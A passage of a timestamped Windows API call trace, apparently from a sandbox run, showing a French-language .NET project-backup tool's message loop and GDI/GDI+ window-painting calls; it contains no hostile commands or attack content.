wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.556] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.557] DispatchMessageA (lpMsg=0x52ef98) returned 0x0 [0222.557] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.557] IsWindowUnicode (hWnd=0x1016e) returned 1 [0222.557] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.557] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.557] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.557] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.557] IsWindowUnicode (hWnd=0x1016e) returned 1 [0222.557] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.557] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.557] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.557] BeginPaint (in: hWnd=0x1016e, lpPaint=0x52eaa4 | out: lpPaint=0x52eaa4) returned 0x701068c [0222.558] GdipCreateHalftonePalette () returned 0x190806b0 [0222.558] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.558] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0222.558] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.558] GetSystemMetrics (nIndex=42) returned 0 [0222.558] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52ea04, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.558] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52ea04) returned 0x23 [0222.558] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.558] EndPaint (hWnd=0x1016e, lpPaint=0x52eaa0) returned 1 [0222.558] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.558] IsWindowUnicode (hWnd=0x10172) returned 1 [0222.559] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.559] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.559] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.559] BeginPaint (in: hWnd=0x10172, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x1401007f [0222.559] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.575] CreateCompatibleDC (hdc=0x1401007f) returned 0x200106e1 [0222.575] GetObjectType (h=0x1401007f) returned 0x3 [0222.575] CreateCompatibleBitmap (hdc=0x1401007f, cx=1, cy=1) returned 0x80506bd [0222.576] GetDIBits (in: hdc=0x1401007f, hbm=0x80506bd, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x52e578, usage=0x0 | out: lpvBits=0x0, lpbmi=0x52e578) returned 1 [0222.576] GetDIBits (in: hdc=0x1401007f, hbm=0x80506bd, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x52e578, usage=0x0 | out: lpvBits=0x0, lpbmi=0x52e578) returned 1 [0222.576] DeleteObject (ho=0x80506bd) returned 1 [0222.576] CreateDIBSection (in: hdc=0x1401007f, lpbmi=0x52e5c8, usage=0x0, ppvBits=0x52eabc, hSection=0x0, offset=0x0 | out: ppvBits=0x52eabc) returned 0x80506be [0222.576] SelectObject (hdc=0x200106e1, h=0x80506be) returned 0x185000f [0222.576] GdipCreateFromHDC (hdc=0x200106e1, graphics=0x52eaa0) returned 0x0 [0222.576] GdipTranslateWorldTransform (graphics=0x4d97818, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0222.577] GdipSetClipRectI (graphics=0x4d97818, x=0, y=0, width=139, height=13, combineMode=0x0) returned 0x0 [0222.578] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0222.578] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f28) returned 0x0 [0222.579] GdipIsMatrixIdentity (matrix=0x5270f28, result=0x52eb00) returned 0x0 [0222.579] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x6711f0) returned 0x0 [0222.580] LocalFree (hMem=0x6711f0) returned 0x0 [0222.580] GdipDeleteMatrix (matrix=0x5270f28) returned 0x0 [0222.580] GdipCreateRegion (region=0x52eae8) returned 0x0 [0222.580] GdipGetClip (graphics=0x4d97818, region=0x5270f58) returned 0x0 [0222.581] GdipIsInfiniteRegion (region=0x5270f58, graphics=0x4d97818, result=0x52eaf4) returned 0x0 [0222.581] GdipSaveGraphics (graphics=0x4d97818, state=0x52eb20) returned 0x0 [0222.581] GetWindowTextLengthW (hWnd=0x10172) returned 22 [0222.581] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0222.581] GetSystemMetrics (nIndex=42) returned 0 [0222.581] GetWindowTextW (in: hWnd=0x10172, lpString=0x52ea0c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0222.581] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0222.581] GetClientRect (in: hWnd=0x10172, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0222.581] GdipCreateRegion (region=0x52e93c) returned 0x0 [0222.581] GdipGetClip (graphics=0x4d97818, region=0x4d4fa50) returned 0x0 [0222.581] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0222.581] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x4d4fae0) returned 0x0 [0222.582] GdipIsMatrixIdentity (matrix=0x4d4fae0, result=0x52e954) returned 0x0 [0222.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6711f0 [0222.582] GdipGetMatrixElements (matrix=0x4d4fae0, matrixOut=0x6711f0) returned 0x0 [0222.582] LocalFree (hMem=0x6711f0) returned 0x0 [0222.582] GdipCombineRegionRegion (region=0x4d4fa50, region2=0x5270f58, combineMode=0x1) returned 0x0 [0222.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x6711f0 [0222.582] GdipGetMatrixElements (matrix=0x4d4fae0, matrixOut=0x6711f0) returned 0x0 [0222.582] LocalFree (hMem=0x6711f0) returned 0x0 [0222.582] GdipDeleteMatrix (matrix=0x4d4fae0) returned 0x0 [0222.582] GdipIsInfiniteRegion (region=0x4d4fa50, graphics=0x4d97818, result=0x52e97c) returned 0x0 [0222.582] GdipIsInfiniteRegion (region=0x4d4fa50, graphics=0x4d97818, result=0x52e96c) returned 0x0 [0222.582] GdipGetRegionHRgn (region=0x4d4fa50, graphics=0x4d97818, hRgn=0x52e96c) returned 0x0 [0222.583] GdipDeleteRegion (region=0x4d4fa50) returned 0x0 [0222.583] GdipGetDC (graphics=0x4d97818, hdc=0x52e984) returned 0x0 [0222.583] GetCurrentObject (hdc=0x200106e1, type=0x1) returned 0x1b00017 [0222.583] GetCurrentObject (hdc=0x200106e1, type=0x2) returned 0x1900010 [0222.583] GetCurrentObject (hdc=0x200106e1, type=0x7) returned 0x80506be [0222.583] GetCurrentObject (hdc=0x200106e1, type=0x6) returned 0x18a002e [0222.583] SaveDC (hdc=0x200106e1) returned 1 [0222.583] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1b0401e4 [0222.583] GetClipRgn (hdc=0x200106e1, hrgn=0x1b0401e4) returned 0 [0222.583] SelectClipRgn (hdc=0x200106e1, hrgn=0x3e040221) returned 2 [0222.583] DeleteObject (ho=0x1b0401e4) returned 1 [0222.584] DeleteObject (ho=0x3e040221) returned 1 [0222.584] OffsetViewportOrgEx (in: hdc=0x200106e1, x=0, y=0, lppt=0x22f5ba8 | out: lppt=0x22f5ba8) returned 1 [0222.584] GetNearestColor (hdc=0x200106e1, color=0xf0f0f0) returned 0xf0f0f0 [0222.584] CreateSolidBrush (color=0xf0f0f0) returned 0x61006b3 [0222.584] FillRect (hDC=0x200106e1, lprc=0x52e988, hbr=0x61006b3) returned 1 [0222.584] DeleteObject (ho=0x61006b3) returned 1 [0222.584] RestoreDC (hdc=0x200106e1, nSavedDC=-1) returned 1 [0222.584] GdipReleaseDC (graphics=0x4d97818, hdc=0x200106e1) returned 0x0 [0222.584] GdipRestoreGraphics (graphics=0x4d97818, state=0xfdb70dbd) returned 0x0 [0222.584] GdipDeleteRegion (region=0x5270f58) returned 0x0 [0222.585] GetWindowTextLengthW (hWnd=0x10172) returned 22 [0222.585] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0222.585] GetSystemMetrics (nIndex=42) returned 0 [0222.585] GetWindowTextW (in: hWnd=0x10172, lpString=0x52ea0c, nMaxCount=23 | out: lpString="Arborescence du projet") returned 22 [0222.585] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0222.585] GdipGetDC (graphics=0x4d97818, hdc=0x52e9a4) returned 0x0 [0222.585] GetCurrentObject (hdc=0x200106e1, type=0x1) returned 0x1b00017 [0222.585] GetCurrentObject (hdc=0x200106e1, type=0x2) returned 0x1900010 [0222.585] GetCurrentObject (hdc=0x200106e1, type=0x7) returned 0x80506be [0222.585] GetCurrentObject (hdc=0x200106e1, type=0x6) returned 0x18a002e [0222.585] SaveDC (hdc=0x200106e1) returned 1 [0222.585] GetNearestColor (hdc=0x200106e1, color=0x0) returned 0x0 [0222.585] RestoreDC (hdc=0x200106e1, nSavedDC=-1) returned 1 [0222.585] GdipReleaseDC (graphics=0x4d97818, hdc=0x200106e1) returned 0x0 [0222.586] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0222.586] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0222.586] GdipGetTextRenderingHint (graphics=0x4d97818, mode=0x52e944) returned 0x0 [0222.586] GdipGetDC (graphics=0x4d97818, hdc=0x52e930) returned 0x0 [0222.586] GetCurrentObject (hdc=0x200106e1, type=0x1) returned 0x1b00017 [0222.586] GetCurrentObject (hdc=0x200106e1, type=0x2) returned 0x1900010 [0222.586] GetCurrentObject (hdc=0x200106e1, type=0x7) returned 0x80506be [0222.586] GetCurrentObject (hdc=0x200106e1, type=0x6) returned 0x18a002e [0222.586] SaveDC (hdc=0x200106e1) returned 1 [0222.587] GetTextAlign (hdc=0x200106e1) returned 0x0 [0222.587] GetTextColor (hdc=0x200106e1) returned 0x0 [0222.587] GetCurrentObject (hdc=0x200106e1, type=0x6) returned 0x18a002e [0222.587] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0222.587] SelectObject (hdc=0x200106e1, h=0xc0a01e7) returned 0x18a002e [0222.587] GetBkMode (hdc=0x200106e1) returned 2 [0222.587] SetBkMode (hdc=0x200106e1, mode=1) returned 2 [0222.587] DrawTextExW (in: hdc=0x200106e1, lpchText="Arborescence du projet", cchText=22, lprc=0x52e8c4, format=0x100000, lpdtp=0x22f60d4 | out: lpchText="Arborescence du projet", lprc=0x52e8c4) returned 13 [0222.589] RestoreDC (hdc=0x200106e1, nSavedDC=-1) returned 1 [0222.589] GdipReleaseDC (graphics=0x4d97818, hdc=0x200106e1) returned 0x0 [0222.589] GdipGetDC (graphics=0x4d97818, hdc=0x52eae0) returned 0x0 [0222.590] BitBlt (hdc=0x1401007f, x=0, y=0, cx=139, cy=13, hdcSrc=0x200106e1, x1=0, y1=0, rop=0xcc0020) returned 1 [0222.590] GdipReleaseDC (graphics=0x4d97818, hdc=0x200106e1) returned 0x0 [0222.591] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.591] SelectObject (hdc=0x200106e1, h=0x185000f) returned 0x80506be [0222.591] DeleteDC (hdc=0x200106e1) returned 1 [0222.591] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0222.591] EndPaint (hWnd=0x10172, lpPaint=0x52ea84) returned 1 [0222.591] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.591] IsWindowUnicode (hWnd=0x10174) returned 1 [0222.591] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.591] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.591] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.591] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0222.591] SetTextColor (hdc=0x1401007f, color=0x0) returned 0x0 [0222.591] SetBkColor (hdc=0x1401007f, color=0xffffff) returned 0xffffff [0222.596] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.596] IsWindowUnicode (hWnd=0x10178) returned 1 [0222.596] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.597] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.597] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.597] BeginPaint (in: hWnd=0x10178, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x701068c [0222.597] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.597] CreateCompatibleDC (hdc=0x701068c) returned 0x230106e1 [0222.597] DeleteObject (ho=0x80506be) returned 1 [0222.597] GetObjectType (h=0x701068c) returned 0x3 [0222.597] CreateCompatibleBitmap (hdc=0x701068c, cx=1, cy=1) returned 0xa0506bd [0222.597] GetDIBits (in: hdc=0x701068c, hbm=0xa0506bd, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x52e578, usage=0x0 | out: lpvBits=0x0, lpbmi=0x52e578) returned 1 [0222.597] GetDIBits (in: hdc=0x701068c, hbm=0xa0506bd, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x52e578, usage=0x0 | out: lpvBits=0x0, lpbmi=0x52e578) returned 1 [0222.597] DeleteObject (ho=0xa0506bd) returned 1 [0222.597] CreateDIBSection (in: hdc=0x701068c, lpbmi=0x52e5c8, usage=0x0, ppvBits=0x52eabc, hSection=0x0, offset=0x0 | out: ppvBits=0x52eabc) returned 0x90506be [0222.597] SelectObject (hdc=0x230106e1, h=0x90506be) returned 0x185000f [0222.598] GdipCreateFromHDC (hdc=0x230106e1, graphics=0x52eaa0) returned 0x0 [0222.598] GdipTranslateWorldTransform (graphics=0x4d97818, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0222.598] GdipSetClipRectI (graphics=0x4d97818, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0222.598] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0222.598] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270eb8) returned 0x0 [0222.598] GdipIsMatrixIdentity (matrix=0x5270eb8, result=0x52eb00) returned 0x0 [0222.598] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x664388 [0222.598] GdipGetMatrixElements (matrix=0x5270eb8, matrixOut=0x664388) returned 0x0 [0222.598] LocalFree (hMem=0x664388) returned 0x0 [0222.598] GdipDeleteMatrix (matrix=0x5270eb8) returned 0x0 [0222.598] GdipCreateRegion (region=0x52eae8) returned 0x0 [0222.598] GdipGetClip (graphics=0x4d97818, region=0x5270ee8) returned 0x0 [0222.598] GdipIsInfiniteRegion (region=0x5270ee8, graphics=0x4d97818, result=0x52eaf4) returned 0x0 [0222.598] GdipSaveGraphics (graphics=0x4d97818, state=0x52eb20) returned 0x0 [0222.598] GetWindowTextLengthW (hWnd=0x10178) returned 23 [0222.598] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0222.598] GetSystemMetrics (nIndex=42) returned 0 [0222.598] GetWindowTextW (in: hWnd=0x10178, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0222.598] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0222.599] GetClientRect (in: hWnd=0x10178, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0222.599] GdipCreateRegion (region=0x52e93c) returned 0x0 [0222.599] GdipGetClip (graphics=0x4d97818, region=0x4d4fac0) returned 0x0 [0222.599] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0222.599] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f78) returned 0x0 [0222.599] GdipIsMatrixIdentity (matrix=0x5270f78, result=0x52e954) returned 0x0 [0222.599] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x664388 [0222.599] GdipGetMatrixElements (matrix=0x5270f78, matrixOut=0x664388) returned 0x0 [0222.599] LocalFree (hMem=0x664388) returned 0x0 [0222.599] GdipCombineRegionRegion (region=0x4d4fac0, region2=0x5270ee8, combineMode=0x1) returned 0x0 [0222.599] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x664388 [0222.599] GdipGetMatrixElements (matrix=0x5270f78, matrixOut=0x664388) returned 0x0 [0222.599] LocalFree (hMem=0x664388) returned 0x0 [0222.599] GdipDeleteMatrix (matrix=0x5270f78) returned 0x0 [0222.599] GdipIsInfiniteRegion (region=0x4d4fac0, graphics=0x4d97818, result=0x52e97c) returned 0x0 [0222.599] GdipIsInfiniteRegion (region=0x4d4fac0, graphics=0x4d97818, result=0x52e96c) returned 0x0 [0222.599] GdipGetRegionHRgn (region=0x4d4fac0, graphics=0x4d97818, hRgn=0x52e96c) returned 0x0 [0222.599] GdipDeleteRegion (region=0x4d4fac0) returned 0x0 [0222.599] GdipGetDC (graphics=0x4d97818, hdc=0x52e984) returned 0x0 [0222.599] GetCurrentObject (hdc=0x230106e1, type=0x1) returned 0x1b00017 [0222.599] GetCurrentObject (hdc=0x230106e1, type=0x2) returned 0x1900010 [0222.599] GetCurrentObject (hdc=0x230106e1, type=0x7) returned 0x90506be [0222.600] GetCurrentObject (hdc=0x230106e1, type=0x6) returned 0x18a002e [0222.600] SaveDC (hdc=0x230106e1) returned 1 [0222.600] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3f040221 [0222.600] GetClipRgn (hdc=0x230106e1, hrgn=0x3f040221) returned 0 [0222.600] SelectClipRgn (hdc=0x230106e1, hrgn=0x1d0401e4) returned 2 [0222.600] DeleteObject (ho=0x3f040221) returned 1 [0222.600] DeleteObject (ho=0x1d0401e4) returned 1 [0222.600] OffsetViewportOrgEx (in: hdc=0x230106e1, x=0, y=0, lppt=0x22f7580 | out: lppt=0x22f7580) returned 1 [0222.600] GetNearestColor (hdc=0x230106e1, color=0xc8c8c8) returned 0xc8c8c8 [0222.600] CreateSolidBrush (color=0xc8c8c8) returned 0x71006b3 [0222.600] FillRect (hDC=0x230106e1, lprc=0x52e988, hbr=0x71006b3) returned 1 [0222.600] DeleteObject (ho=0x71006b3) returned 1 [0222.600] RestoreDC (hdc=0x230106e1, nSavedDC=-1) returned 1 [0222.600] GdipReleaseDC (graphics=0x4d97818, hdc=0x230106e1) returned 0x0 [0222.600] GdipRestoreGraphics (graphics=0x4d97818, state=0xfdb50dbd) returned 0x0 [0222.600] GdipDeleteRegion (region=0x5270ee8) returned 0x0 [0222.600] GetWindowTextLengthW (hWnd=0x10178) returned 23 [0222.600] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0222.600] GetSystemMetrics (nIndex=42) returned 0 [0222.601] GetWindowTextW (in: hWnd=0x10178, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0222.601] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0222.601] GdipGetDC (graphics=0x4d97818, hdc=0x52e9a4) returned 0x0 [0222.601] GetCurrentObject (hdc=0x230106e1, type=0x1) returned 0x1b00017 [0222.601] GetCurrentObject (hdc=0x230106e1, type=0x2) returned 0x1900010 [0222.601] GetCurrentObject (hdc=0x230106e1, type=0x7) returned 0x90506be [0222.601] GetCurrentObject (hdc=0x230106e1, type=0x6) returned 0x18a002e [0222.601] SaveDC (hdc=0x230106e1) returned 1 [0222.601] GetNearestColor (hdc=0x230106e1, color=0x0) returned 0x0 [0222.601] RestoreDC (hdc=0x230106e1, nSavedDC=-1) returned 1 [0222.601] GdipReleaseDC (graphics=0x4d97818, hdc=0x230106e1) returned 0x0 [0222.601] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0222.601] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0222.601] DrawTextExW (in: hdc=0x300101e8, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x52e8b0, format=0x102404, lpdtp=0x22f7860 | out: lpchText="Repertoire Projet 2 : ", lprc=0x52e8b0) returned 13 [0222.601] GdipGetTextRenderingHint (graphics=0x4d97818, mode=0x52e944) returned 0x0 [0222.601] GdipGetDC (graphics=0x4d97818, hdc=0x52e930) returned 0x0 [0222.601] GetCurrentObject (hdc=0x230106e1, type=0x1) returned 0x1b00017 [0222.602] GetCurrentObject (hdc=0x230106e1, type=0x2) returned 0x1900010 [0222.602] GetCurrentObject (hdc=0x230106e1, type=0x7) returned 0x90506be [0222.602] GetCurrentObject (hdc=0x230106e1, type=0x6) returned 0x18a002e [0222.602] SaveDC (hdc=0x230106e1) returned 1 [0222.602] GetTextAlign (hdc=0x230106e1) returned 0x0 [0222.602] GetTextColor (hdc=0x230106e1) returned 0x0 [0222.602] GetCurrentObject (hdc=0x230106e1, type=0x6) returned 0x18a002e [0222.602] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0222.602] SelectObject (hdc=0x230106e1, h=0xc0a01e7) returned 0x18a002e [0222.602] GetBkMode (hdc=0x230106e1) returned 2 [0222.602] SetBkMode (hdc=0x230106e1, mode=1) returned 2 [0222.602] DrawTextExW (in: hdc=0x230106e1, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x52e70c, format=0x100404, lpdtp=0x22f7a78 | out: lpchText="Repertoire Projet 2 : ", lprc=0x52e70c) returned 13 [0222.602] DrawTextExW (in: hdc=0x230106e1, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x52e8c4, format=0x100004, lpdtp=0x22f7a78 | out: lpchText="Repertoire Projet 2 : ", lprc=0x52e8c4) returned 13 [0222.602] RestoreDC (hdc=0x230106e1, nSavedDC=-1) returned 1 [0222.603] GdipReleaseDC (graphics=0x4d97818, hdc=0x230106e1) returned 0x0 [0222.603] GdipGetDC (graphics=0x4d97818, hdc=0x52eae0) returned 0x0 [0222.603] BitBlt (hdc=0x701068c, x=0, y=0, cx=161, cy=21, hdcSrc=0x230106e1, x1=0, y1=0, rop=0xcc0020) returned 1 [0222.603] GdipReleaseDC (graphics=0x4d97818, hdc=0x230106e1) returned 0x0 [0222.603] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0222.603] SelectObject (hdc=0x230106e1, h=0x185000f) returned 0x90506be [0222.603] DeleteDC (hdc=0x230106e1) returned 1 [0222.603] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0222.603] EndPaint (hWnd=0x10178, lpPaint=0x52ea84) returned 1 [0222.603] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.603] IsWindowUnicode (hWnd=0x1017c) returned 1 [0222.603] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0222.603] TranslateMessage (lpMsg=0x52ef98) returned 0 [0222.603] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0222.603] BeginPaint (in: hWnd=0x1017c, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x60106b7 [0222.603] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0222.603] CreateCompatibleDC (hdc=0x60106b7) returned 0x250106e1 [0222.603] SelectObject (hdc=0x250106e1, h=0x90506be) returned 0x185000f [0222.604] GdipCreateFromHDC (hdc=0x250106e1, graphics=0x52eaa0) returned 0x0 [0222.604] GdipTranslateWorldTransform (graphics=0x4d97818, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0222.604] GdipSetClipRectI (graphics=0x4d97818, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0222.604] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0222.604] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270fa8) returned 0x0 [0222.604] GdipIsMatrixIdentity (matrix=0x5270fa8, result=0x52eb00) returned 0x0 [0222.604] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x664388 [0222.604] GdipGetMatrixElements (matrix=0x5270fa8, matrixOut=0x664388) returned 0x0 [0222.604] LocalFree (hMem=0x664388) returned 0x0 [0222.604] GdipDeleteMatrix (matrix=0x5270fa8) returned 0x0 [0222.604] GdipCreateRegion (region=0x52eae8) returned 0x0 [0222.604] GdipGetClip (graphics=0x4d97818, region=0x4d4fa50) returned 0x0 [0222.604] GdipIsInfiniteRegion (region=0x4d4fa50, graphics=0x4d97818, result=0x52eaf4) returned 0x0 [0222.604] GdipSaveGraphics (graphics=0x4d97818, state=0x52eb20) returned 0x0 [0222.604] GetWindowTextLengthW (hWnd=0x1017c) returned 23 [0222.604] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0222.604] GetSystemMetrics (nIndex=42) returned 0 [0222.604] GetWindowTextW (in: hWnd=0x1017c, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0222.604] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0222.604] GetClientRect (in: hWnd=0x1017c, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0222.604] GdipCreateRegion (region=0x52e93c) returned 0x0 [0222.604] GdipGetClip (graphics=0x4d97818, region=0x4d4fae0) returned 0x0 [0222.604] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0222.604] GdipGetWorldTransform (graphics=0x4d97818, matrix=0x5270f28) returned 0x0 [0222.604] GdipIsMatrixIdentity (matrix=0x5270f28, result=0x52e954) returned 0x0 [0222.604] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x664388 [0222.604] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x664388) returned 0x0 [0222.604] LocalFree (hMem=0x664388) returned 0x0 [0222.604] GdipCombineRegionRegion (region=0x4d4fae0, region2=0x4d4fa50, combineMode=0x1) returned 0x0 [0222.605] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x664388 [0222.605] GdipGetMatrixElements (matrix=0x5270f28, matrixOut=0x664388) returned 0x0 [0222.605] LocalFree (hMem=0x664388) returned 0x0 [0222.605] GdipDeleteMatrix (matrix=0x5270f28) returned 0x0 [0222.605] GdipIsInfiniteRegion (region=0x4d4fae0, graphics=0x4d97818, result=0x52e97c) returned 0x0 [0222.605] GdipIsInfiniteRegion (region=0x4d4fae0, graphics=0x4d97818, result=0x52e96c) returned 0x0 [0222.605] GdipGetRegionHRgn (region=0x4d4fae0, graphics=0x4d97818, hRgn=0x52e96c) returned 0x0 [0222.605] GdipDeleteRegion (region=0x4d4fae0) returned 0x0 [0222.605] GdipGetDC (graphics=0x4d97818, hdc=0x52e984) returned 0x0 [0222.605] GetCurrentObject (hdc=0x250106e1, type=0x1) returned 0x1b00017 [0222.605] GetCurrentObject (hdc=0x250106e1, type=0x2) returned 0x1900010 [0222.605] GetCurrentObject (hdc=0x250106e1, type=0x7) returned 0x90506be [0222.605] GetCurrentObject (hdc=0x250106e1, type=0x6) returned 0x18a002e [0222.605] SaveDC (hdc=0x250106e1) returned 1 [0222.605] 